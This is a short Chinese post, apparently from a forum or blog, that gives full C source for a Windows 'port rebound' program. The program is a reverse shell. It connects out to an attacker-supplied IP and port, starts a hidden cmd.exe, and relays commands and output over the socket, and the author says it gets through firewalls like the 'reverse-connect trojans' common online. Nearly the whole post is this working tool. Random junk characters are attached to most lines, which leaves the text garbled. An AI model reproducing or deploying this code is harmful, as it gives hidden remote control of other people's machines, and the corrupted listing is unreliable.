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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;pnF%co9  
coP->&(@U#  
/* ============================== i:lc]B  
Rebound port in Windows NT 0PzSp ]  
By wind,2006/7 qu=~\t1[6  
===============================*/ $?= $F  
#include ^q7V%{54  
#include p`tz*ewC  
%~rEJB@{  
#pragma comment(lib,"wsock32.lib") *x36;6~W;  
Llfl I   
void OutputShell(); \)PB p  
SOCKET sClient; E`HoJhB  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -hd  
L.n@;*  
void main(int argc,char **argv) i~@gI5[k+  
{ ^e:z ul{;]  
WSADATA stWsaData; }:m#}s  
int nRet;  H.5 6  
SOCKADDR_IN stSaiClient,stSaiServer; m=l>8  
uGU 2  
if(argc != 3) wNB?3v{n  
{ ^<;W+dWdU  
printf("Useage:\n\rRebound DestIP DestPort\n"); AHf 9H?  
return; tUu ' gs|  
} 7e_4sxg'(3  
~ua(Qm  
WSAStartup(MAKEWORD(2,2),&stWsaData); -[mmT'sS  
JrP`u4f_  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )g pN 5TDd  
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stSaiClient.sin_family = AF_INET; .K C* (}-  
stSaiClient.sin_port = htons(0); 7HkO:/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &RR;'wLoQT  
WQ|Ufl;  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $^x=i;>aK.  
{ Fh~9(Y#  
printf("Bind Socket Failed!\n"); *5'8jC"2g  
return; YPK@BmAdE  
} O,$*`RZpx  
y?s z&*:  
stSaiServer.sin_family = AF_INET; ZCCCuB  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dc$zW^i  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y3~Uz#`SU  
r=j?0k '}]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5i br1zs  
{ Yy~x`P'g!  
printf("Connect Error!"); e$L C  
return; ^ AZ#tp%)  
} b8!oZ~ K  
OutputShell(); 3.Fko<D4jD  
} KOixFn1  
7%h;To-<6  
void OutputShell() p$,7qGST  
{ {O+T`; =)L  
char szBuff[1024]; #  X (2  
SECURITY_ATTRIBUTES stSecurityAttributes; 1P)K@j  
OSVERSIONINFO stOsversionInfo; pH~\~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %1&X+s3  
STARTUPINFO stStartupInfo; G^'We6<  
char *szShell; g;l K34{  
PROCESS_INFORMATION stProcessInformation; (Mv~0ShakO  
unsigned long lBytesRead; 6(rm%c  
8\J$\Edv  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l;-2hZ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  |Iy;_8c  
stSecurityAttributes.lpSecurityDescriptor = 0; {$S"S j  
stSecurityAttributes.bInheritHandle = TRUE; r^k+D<k[7  
m"L^tSD~  
[REH*_  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B:>:$LIL  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); QPuc{NcB>  
O>E}Lu;|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); JMAdsg/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R0t!y3r&N  
stStartupInfo.wShowWindow = SW_HIDE; ,e'r 0  
stStartupInfo.hStdInput = hReadPipe; FQek+[ox  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uc9h}QJ*  
9>{fsy  
GetVersionEx(&stOsversionInfo); `;mgJD  
m%9Yo%l~  
switch(stOsversionInfo.dwPlatformId) _DR@P(0>_  
{ ^"Bhp:o2  
case 1: NSVE3  
szShell = "command.com"; " ILF!z  
break; Y`g O:d8  
default: Q8m~L1//S  
szShell = "cmd.exe"; Mg >%EH/'  
break; P`rfDQoZ  
} *,u{, $}2  
>p&"X 2 @  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &5}YTKe}|  
]ty$/{hx'  
send(sClient,szMsg,77,0); UV(`.  
while(1) x@ X2r  
{ h<L_ =)lH  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); a>C;HO  
if(lBytesRead) :@(1~Hm  
{ 4EYD5  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); fAh|43Y*a  
send(sClient,szBuff,lBytesRead,0); olv&K(-ccI  
} p$"~v A .  
else !S~)U{SSK  
{ D)MFii1J~  
lBytesRead=recv(sClient,szBuff,1024,0); Q 1i5"'][  
if(lBytesRead<=0) break; ?C CQm  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cO:lpsKYQ  
} N_G&nw  
} "9s}1C;Me  
,wf_o%'eW  
return; 2fdN@iruB  
}
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